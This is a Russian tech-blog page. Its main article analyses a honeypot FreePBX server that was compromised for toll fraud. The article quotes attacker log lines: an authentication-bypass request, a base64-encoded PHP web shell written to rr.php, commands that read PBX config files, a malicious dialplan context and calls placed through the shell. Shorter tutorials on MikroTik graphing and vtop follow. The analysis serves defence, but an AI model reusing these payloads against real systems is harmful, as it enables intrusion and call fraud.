По вашему запросу ничего не найдено :(
Убедитесь, что запрос написан правильно, или посмотрите другие
наши статьи:
Привет друг! Ты наверняка слышал что-то про взлом IP-АТС, когда злоумышленники звонят в другие страны по международной связи, а жертве приходит большой счёт от провайдера. К большому сожалению – это правда и сейчас я по косточкам разберу метод такой атаки на IP-АТС Asterisk с графической оболочкой FreePBX, который позволяет плохим парням бесчестно наживаться на чужих ошибках, чтобы ты мог защитить себя и не стать очередной жертвой, за счёт которой позвонили в Сомали.
TL;DR: Графический интерфейс FreePBX имеет уязвимости удаленного исполнения кода (RCE – Remote Code Execution), в различных компонентах. Вот некоторые из них:
CVE-2014-7235 – Уязвимость в ARI Framework (Asterisk Recording Interface - ARI) в FreePBX версий 2.9.0.9, 2.10.x, и 2.11 до 2.11.1.5.
SEC-2016-004 - Уязвимость с модулях Hotel Wakeup (все версии между 13.0.1alpha2 и 13.0.14) и System Recordings (все версии между 13.0.1beta1 и 13.0.26)
CVE-2019-19006 (SEC-2019-001) – Уязвимость Framework FreePBX в версиях ниже v13.0.197.13, v14.0.13.11 и v15.0.16.26
Все эти уязвимости позволяют удаленно обойти процесс аутентификации (ну то есть не надо вводить логин и пароль) и выполнять команды на сервере с проблемной версией софта. Злоумышленники используют данные уязвимости для совершения исходящих звонков через свой контекст. Это значит, что если ты оставишь вэб-морду FreePBX открытой всему Интернету (по умолчанию порт 80 HTTP, 443 HTTPS), то рано или поздно – за твой счёт позвонят другие.
Так что НИКОГДА не открывай доступ веб-интерфейсу своей IP-АТС для всего Интернета, и вообще старайся ограничивать доступ к любым портам. А также ВСЕГДА обращай внимание на уведомление об обнаруженных уязвимостях и своевременно устанавливай обновления безопасности на всех продуктах! Но если ты всё же решил оставить свой FreePBX с открытым web-портом и забить на обновления – читай что будет дальше.
Разведка (Reconnaisance)
Прежде чем достичь своей цели (позвонить за твой счёт) злоумышленникам нужно сначала отыскать твой открытый веб-интерфейс FreePBX в сети. Сделать это очень просто, нужно просканировать порты. Для нашей атаки ему нужно найти порт 80 (HTTP), 443 (HTTPS) ну или 8080. Именно на них обычно висит страничка с аутентификацией. Отлично, нашли кучу адресов с торчащим наружу нужным портом, но как понять, что там именно FreePBX с уязвимой версией софта? Есть несколько способов – можно бить по всему подряд в надежде, что сервер уязвим, можно написать скрипт, который будет собирать дополнительную информацию (так называемые баннеры) о версии FreePBX. По умолчанию – установленная версия отображается на той же страничке с окном аутентификации. Давайте откроем лог HTTP-обращений к нашему серверу (его можно найти вот тут: /var/log/httpd/access_log) и посмотрим, как действуют злоумышленники.
Чтобы воочию наблюдать за тем как нас ломают, мы создали, так называемую ловушку (Honeypot) – это намеренно непропатченный, уязвимый сервер для того чтобы изучать действия хакеров. Мы установили на него FreePBX 13 версии и выставили наружу вэб-интерфейс (открыли всему миру 80 и 443 порты)
Примерно через час после “открытия” нашей ловушки, мы увидели такую картину:
На картинке показаны обращения к ресурсам нашего сервера (11.22.33.44), ответы от него и User-Agent’ы, с которых осуществлялись обращения. Например, рассмотрим следующее обращение:
169.197.108.42 - - [30/May/2020:11:35:57 +0300] "GET /admin HTTP/1.1" 301 316 "https://11.22.33[.]44/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
Здесь:
169.197.108[.]42 – адрес, с которого осуществлялось обращение;
GET /admin - запрос страницы https://11.22.33[.]44/admin;
301 – ответ HTTP 302 (Moved Permanently – Перемещено навсегда). Ответ сервера, означающий, что запрашиваемый ресурс (страница https://11.22.33[.]44/admin ) был перемещен;
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" - User Agent Google Chrome версии 60 для Windows 10. Это значит, что для доступа к ресурсу https://11.22.33[.]44/admin был использован браузер Chrome.
Для большей наглядности, мы выделили счастливчиков, которые нашли то, что искали (им сервер ответил 200 ОК и вернул запрашиваемую информацию). В их числе:
169.197.108[.]42
198.108.66[.]192
45.143.221[.]50
173.212.225[.]214
45.143.220[.]111
Если присмотреться внимательнее, то можно увидеть, что все они нашли одно и то же - /admin/config.php, но давайте посмотрим на действия 173.212.225[.]214.
Обратите внимание, что он также пытается обращаться к ресурсам явно не относящимся к FreePBX (/vtigercrm/vtigerservice.php, /a2billing/admin/Public/index.php), а когда находит /admin/config.php , сразу же безуспешно пытается исполнить интересный скрипт:
/rr.php?yokyok=cat%20/etc/amportal.conf;%20cat%20/etc/asterisk/sip_additional.conf HTTP/1.1" 404 284 "-" "libwww-perl/6.42"
/admin/config.php?password%5B0%5D=BADR&username=admin HTTP/1.1" 500 53870 "-" "python-requests/2.22.0"
/admin/ajax.php?module=asterisk-cli&command=clicmd&data=channel%20originate%20local/*78@from-internal%20application%20system%20%22echo%20PD9waHAKc3lzdGVtKCRfUkVRVUVTVFsieW9reW9rIl0pOwo/Pg==%7C%20base64%20-d%20%3E%20/var/www/html/rr.php%22 HTTP/1.1" 403 43 "https://11.22.33.44:443//admin/config.php?display=cli" "python-requests/2.22.0"
/admin/config.php?password%5B0%5D=BADR&username=admin HTTP/1.1" 500 53870 "-" "python-requests/2.22.0"
Доставка (Delivery)
Эти обращения – есть ни что иное как попытка создания скрипта на нашей IP-АТС для совершения исходящих звонков. Однако хоть нас и обнаружили, злоумышленнику не удаётся обратиться к нужному компоненту – скрипту /rr.php, сервер отвечает сообщением HTTP 403 (Forbidden).
Обратите также внимание на User-agent’ы - python-requests/2.22.0 и libwww-perl/6.42. Это уже не просто браузеры, а WWW библиотеки Pearl и Python.
Позднее, кому-то на адресе 45.143.220[.]111 всё-таки удаётся создать /rr.php. Для этого используется уже немного другой User-Agent - "python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-1062.18.1.el7.x86_64".
Создание rr.php происходит после ввода:
"GET /admin/ajax.php?module=asterisk-cli&command=clicmd&data=channel%20originate%20local/*78@from-internal%20application%20system%20%22echo%20PD9waHAKc3lzdGVtKCRfUkVRVUVTVFsieW9reW9rIl0pOwo/Pg==%7C%20base64%20-d%20%3E%20/var/www/html/rr.php%22 HTTP/1.1" 200 32 "https://11.22.33[.]44//admin/config.php?display=cli" "python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-1062.18.1.el7.x86_64"
Само содержимое скрипта rr.php зашифровано по алгоритму base64 и скрыто вот в этой короткой строчке:
20PD9waHAKc3lzdGVtKCRfUkVRVUVTVFsieW9reW9rIl0pOwo/Pg
Вот дешифровка:
Этот небольшой php скрипт нам кладут в директорию /var/www/html/, а дальше начинается самое интересное. Заметили строчку config.php?display=cli? Да, злоумышленники успешно получили доступ к командной строке и теперь могут делать что душе угодно!
Обратите внимание на смену User Agent’а в 16:17:53 – "curl/7.29.0". Это значит, что кто-то через утилиту curl (скорее всего через ту самую командную строку) лезет куда-то ещё. Давайте выясним – зачем?
Инсталляция (Installation)
Для этого откроем другой лог /var/log/httpd/error_log и посмотрим, что происходило за время использования curl.
В глаза сразу же бросается обращение на Pastebin (сайт, куда можно загружать любой текст или код для просмотра всем желающим) по ссылке /raw/Dbnw6kqb. Перейдя по данной ссылке нас встречает уже знакомая кодировка base64, причём код зачем-то повторяется дважды:
Расшифруем:
Вся эта радость сохраняется по пути /var/www/html/badr.php
На самом деле, вариаций этого скрипта довольно много, иногда он скачивается по частям с разных сайтов, иногда в нём можно обнаружить попытки затирания свидетельств компрометации. Как видите, они весьма похожи и их суть довольно проста - украсть наш конфиг Amportal (всю конфигурацию FreePBX с паролями ARI и AMDB), чтобы затем подсунуть нам измененный файл /etc/amportal.conf и собственно создать вредоносный контекст, через который потом можно будет звонить.
Управление (Command & Control)
Мы, а точнее плохие парни, почти на финишной прямой. Помнишь про простенький вредоносный скрипт rr.php, который нам недавно подсунули? Самое время вернуться к нему!
Напомню – это простенький php-скрипт, который просит всего одну переменную - yokyok и позволяет передать в неё абсолютно любой параметр. Пользуясь этой замечательной возможностью, хакеры передают туда (время 16:17:51 и 54) измененный конфигурационный файл /etc/amportal.conf и изменённый файл /etc/asterisk/sip_additional.conf.
Как можно догадаться – в sip_additional.conf у нас теперь есть вредоносный контекст, который и позволит злоумышленникам звонить за наш счёт. Вот он:
[badr-outcall]; thankuohoh
exten => _.,1,Macro(user-callerid,LIMIT,EXTERNAL,); thankuohoh
exten => _.,n,Set(MOHCLASS=${IF($["${MOHCLASS}"=""]?default:${MOHCLASS})});
thankuohoh
exten => _.,n,Set(_NODEST=); thankuohoh
exten => _.,n,Macro(dialout-trunk,1,${EXTEN},,on); thankuohoh
exten => _.,n,Macro(dialout-trunk,2,${EXTEN},,on); thankuohoh
exten => _.,n,Macro(dialout-trunk,3,${EXTEN},,on); thankuohoh
exten => _.,n,Macro(dialout-trunk,7,${EXTEN},,on); thankuohoh
exten => _.,n,Macro(outisbusy,); thankuohoh
PROFIT (Actions on Objectives)
Ну чтож, как говорится:
Как ты, наверное, уже понял – звонить они тоже будут через rr.php и yokyok. Захотели позвонить в Уганду или на Сейшельские острова? Пожалуйста:
45.143.220.111 - - [31/May/2020:16:25:14 +0300] "GET /rr.php?yokyok=cat%20/etc/asterisk/sip_additional.conf;%20/usr/sbin/asterisk%20-rx%20'channel%20originate%20Local/810256207815086@thanku-outcall%20application%20wait%201600' HTTP/1.1" 200 16290 "-" "libwww-perl/6.05"
45.143.220.111 - - [31/May/2020:16:55:06 +0300] "GET /rr.php?yokyok=cat%20/etc/asterisk/sip_additional.conf;%20/usr/sbin/asterisk%20-rx%20'channel%20originate%20Local/8102486420077@thanku-outcall%20application%20wait%201600' HTTP/1.1" 200 16290 "-" "libwww-perl/6.05"
А ты потом будешь наблюдать в CDR Reports такую картинку и платить провайдеру по счетам:
Ну хоть “спасибо” сказали. Ты же заметил, как называется контекст, который нам сделали - thankuohoh? Жаль нельзя прослушать о чём они там говорили.. ?
Ну, а если не хочешь, чтобы и твой Asterisk тоже достался хакерам – скорее беги закрывать 443, 80, 8080 и устанавливать последние обновления безопасности!
PS: Кстати, нашу ловушку явно пробили через уязвимость CVE-2019-19006 (SEC-2019-001):
[SECURITY] (BMO/Notifications.class.php:507) - [NOTIFICATION]-[freepbx]-[VULNERABILITIES] - There is 1 module vulnerable to security threats (framework (Cur v. 13.0.195.4) should be upgraded to v. 13.0.197.14 to fix security issues: SEC-2019-001
[INFO] (bin/module_admin:631) - framework 13.0.195.4 Online upgrade available (13.0.197.14)
Возможно немногие знают, но у роутеров MikroTik есть графическая составляющая, которая позволяет визуализировать много полезной информации. Инструмент Graphing позволяет отслеживать показатели производительности роутера MikroTik и выводить их в наглядные графики.
Можно строить графики для:
Текущих показаний напряжения и температуры роутера;
Показателей производительности (загрузка памяти, CPU, использование дискового пространства);
Трафика, проходящего через интерфейсы.
Трафика, ограниченной скорости (Simple Queues).
Инструмент Graphings состоит из двух частей - первая его часть отвечает за сбор необходимой информации, а вторая - за её отображение в графическом виде через web-интерфейс или WinBox.
Графики будут доступны, если набрать в браузере http://*IP_адрес_роутера/graphs/ или же выбрать Graphs на станице авторизации.
Для того, чтобы была возможность просматривать графики в web-интерфейсе, необходимо, чтобы в IP → Services был включен сервис www (порт 80), только не надо убедитесь, что доступ к этому порту был только у тех, кому это необходимо. Правильно настройке Firewall!
Также, после настройки графики можно будет посмотреть в WinBox в разделе Tools → Graphing
С помощью инструмента можно настроить какая именно информация должна отображаться на графиках.
Через терминал конфигурация осуществляется с помощью команды:
/tools graphings
Здесь можно настроить параметры:
store-every - как часто записывать собранную информацию;
page-refresh - как часто обновлять web-страничку с графиками.
Чтобы настроить на каком интерфейсе нужно собирать информацию о пропускной способности для построения графиков, нужно ввести команду:
/tool graphing interface
Можно задать следующие параметры:
allow-address - диапазон IP адресов, с которых разрешено просматривать данные графики (по умолчанию – 0.0.0.0/24, то есть ограничений нет);
comment - описание;
disabled - активация отображения графиков с информацией о пропускной способности интерфейсов (no – включена, yes - выключена);
interface - указывает с каких интерфейсов собирать информацию для построения графиков (по умолчанию – all, то есть со всех интерфейсов);
store-on-disk - указывает хранить ли собранную информацию на системном диске.
Для того, чтобы настроить отображение об работающих ограничениях скорости (Simple Queues) введите команду:
/tool graphing queue
Здесь для настройки доступны следующие параметры:
allow-address - диапазон IP адресов, с которых разрешено просматривать данные графики (по умолчанию – 0.0.0.0/24, то есть ограничений нет);
allow-target - указывает открывать ли доступ к просмотру графика адресов указанных в Simple Queue;
comment - описание;
disabled - активация отображения графиков с информацией о пропускной способности интерфейсов (no – включена, yes - выключена);
simple-queue - указывает какие настройки ограничения скорости (Simple Queues) мониторить (по умолчанию – all, то есть все);
store-on-disk - указывает хранить ли собранную информацию на системном диске.
Наконец, для настройки отображения желаемой информации о показателях производительности роутера, используем команду:
/tool graphing resource
Здесь для настройки доступны следующие параметры:
allow-address - диапазон IP адресов, с которых разрешено просматривать данные графики (по умолчанию – 0.0.0.0/24, то есть ограничений нет);
comment - описание;
disabled - активация отображения графиков с информацией о пропускной способности интерфейсов (no – включена, yes - выключена);
store-on-disk - указывает хранить ли собранную информацию на системном диске.
Теперь давайте рассмотрим пример настройки в WinBox. Для этого откроем Tools → Graphing и настроим отображение графиков использования интерфейсов и графиков показателей производительности роутера:
Теперь графики будут доступны во вкладке Interface Graphs и Resource Graphs
Ну и конечно же теперь эти же графики доступны в более развернутом виде через web-интерфейс:
Инструменты командной строки, такие как top, затрудняют мониторинг использования процессора и памяти. Поэтому сегодня мы представляем вам vtop - бесплатный и с открытым исходным кодом, простой, но в то же время мощный и расширяемый инструмент мониторинга активности терминала, написанный на Node.js.
Он разработан для того, чтобы пользователи могли легко просматривать загруженность процессора при использовании многопроцессорных приложений (те, которые имеют мастер-процесс и дочерние процессы, например, NGINX, Apache, Chrome и т.д.). vtop также позволяет легко увидеть всплески сверхурочного функционирования памяти, а также потребление памяти.
vtop использует символы Unicode шрифта Брайля для построения и отображения графиков использования процессора и памяти, что помогает визуализировать скачки. Кроме того, он группирует процессы с одним и тем же именем (мастер и все дочерние процессы) вместе.
В этой статье вы узнаете, как установить инструмент мониторинга vtop в Linux.
Установка vtop в Linux-системах
Требования: в качестве предварительного условия в вашей системе должны быть установлены Node.js и NPM.
После того, как на вашей системе установлены Node.js и NPM, запустите следующую команду для установки vtop. При необходимости используйте команду sudo для получения root прав при установке пакета.
sudo npm install -g vtop
После установки vtop выполните следующую команду, чтобы запустить его.
vtop
Ниже приведены сочетания клавиш vtop, нажав:
u - обновления до последней версии vtop.
k или стрелка вверх перемещает процесс вверх по списку.
j или стрелка вниз перемещает процесс вниз по списку.
g перемещает вас вверх по списку процессов.
G перемещает вас в конец списка.
dd убивает все процессы в этой группе (сначала нужно выбрать имя процесса).
Чтобы изменить цветовую схему, используйте переключатель --theme. Вы можете выбрать любую из доступных тем (такие как: acid, becca, brew, certs, dark, gooey, gruvbox, monokai, nord, parallax, seti, и wizard)
К примеру:
vtop --theme wizard
Для установки интервала между обновлениями (в миллисекундах) используйте --update-interval. В данном примере 20 миллисекунд эквивалентно 0.02 секунды:
vtop --update-interval 20
Вы также можете настроить завершение работы vtop через несколько секунд, используя опцию --quit-after, как показано ниже.
vtop --quit-after 5
Чтобы получить справку по vtop, запустите следующую команду.
vtop -h
vtop имеет множество функций, включая выполнение измерений запросов сервера, запись логов и так далее.